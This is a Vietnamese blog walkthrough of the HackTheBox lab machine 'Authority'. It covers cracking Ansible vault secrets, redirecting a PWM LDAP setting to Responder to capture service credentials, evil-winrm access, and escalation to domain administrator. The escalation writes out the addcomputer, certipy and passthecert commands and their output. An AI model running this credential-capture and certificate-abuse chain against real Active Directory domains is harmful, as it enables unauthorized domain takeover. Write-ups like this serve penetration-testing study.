Authority

 

Enumeration

Zenmap:

SMB:

Tại đây tôi thấy có Sharename Development là không cần login cũng có thể truy cập.
Tôi có thể xem được thông tin các folder trong smb. Nhưng trong này tồn tại rất nhiều file, và tôi cần phải đọc hết chúng, và tìm kiếm thông tin. Rất may tôi đang sử dụng windows và tôi thực hiện mở folder trên windows.

Ansible

Tìm kiếm tất cả các file và tôi tìm thấy điều sau:
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          ********************************************************************************
          ********************************************************************************
          ********************************************************************************
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          ********************************************************************************
          ********************************************************************************
          ********************************************************************************
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          ********************************************************************************
          ********************************************************************************
          ********************************************************************************
          3764
Đây có vẻ là user và pass, cố gằng crack nó: Crack Ansible Vault Password
Thực hiện tương tự với pwm_admin_password và ldap_admin_password:

Password Self Service

Kiểm tra website trên port 8443:
Thử user và pass tôi vừa mới có được, nhưng cũng không thể login được vào website.
Truy cập Configuration Manager, Tại đây tôi có thể sử dụng được password mà tôi mới có được.

Gaining access svc_ldap

Sau khi truy câp thành công tôi thấy có một lỗi được hiển thị như sau:
Tôi biết rằng tôi có thể tải xuống và upload lên một tệp cấu hình. Đầu tiên, tôi tải tệp cấu hình về và đọc nó. Sau đó, tôi thấy:
Giá trị này giống hệt với những gì tôi đã nhìn thấy trong phần log phía trên. tôi sửa nó thành địa chỉ IP máy của tôi và port của ldap.
Tại máy của mình tôi khởi động server LDAP bằng cách chạy tool: Responder
┌──(root㉿Huydz)-[/home/yuh/Responder]
└─# python3 Responder.py -I eth0
[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
.....
    LDAP server                [ON]
.....
[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [IP Attack]
    Responder IPv6             [****::***:****:****:****]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
.....
[+] Listening for events...
Upload file và đợi thông tin trả về trong Responder:
Nếu ai sử dụng windows giống tôi thì xin chúc mừng, bạn sẽ phải thêm một bước chuyển tiếp cổng ở đây. Ha ha, nó đã mất của tôi khá nhiều thời gian để cấu hình. dammit.
┌──(yuh㉿Huydz)-[~/Authority]
└─$ evil-winrm -i authority.htb -u svc_ldap -p ******************

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\svc_ldap\desktop> ls
    Directory: C:\Users\svc_ldap\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/16/2023   7:14 PM             34 user.txt


*Evil-WinRM* PS C:\Users\svc_ldap\desktop> more user.txt
********************************

*Evil-WinRM* PS C:\Users\svc_ldap\desktop>

Privilege escalation

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> upload Certify.exe
Info: Uploading Certify.exe to C:\Users\svc_ldap\Documents\Certify.exe

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> .\Certify.exe find /vulnerable
Sau khi upload và chạy Certify:
Exploit: PassTheCert
PS D:\thehackbox\tool\impacket\examples> python3 addcomputer.py authority.htb/svc_ldap:'******************' -computer-name COMPUTER$ -computer-pass Password!
Impacket v0.10.1.dev1+20230223.202738.f4b848fa - Copyright 2022 Fortra

[*] Successfully added machine account COMPUTER$ with password Password!.

PS D:\thehackbox\Machines\Authority> certipy.exe req -u 'COMPUTER$' -p 'Password!' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn administrator@authority.htb -dns authority.authority.htb -dc-ip <IP Box>
Certipy v4.5.1 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 6
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
PS D:\thehackbox\Machines\Authority> certipy cert -pfx administrator_authority.pfx -nokey -out user.crt
Certipy v4.5.1 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'user.crt'
PS D:\thehackbox\Machines\Authority> certipy cert -pfx administrator_authority.pfx -nocert -out user.key
Certipy v4.5.1 - by Oliver Lyak (ly4k)

[*] Writing private key to 'user.key'
PS D:\thehackbox\Machines\Authority> python3 passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip <IP Box> -target administrator -new-pass
Impacket v0.10.1.dev1+20230223.202738.f4b848fa - Copyright 2022 Fortra

[*] Successfully changed administrator password to: GBfmlNc6OAaX9yOtJN36R3ZrucS6JBUk
PS D:\thehackbox\Machines\Authority>
Bây giời tôi đã có pass mới của administrator, login với nó:

Có vẻ như còn thiếu rất nhiều, tôi sẽ cố gắng update thêm những cách khác.

Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post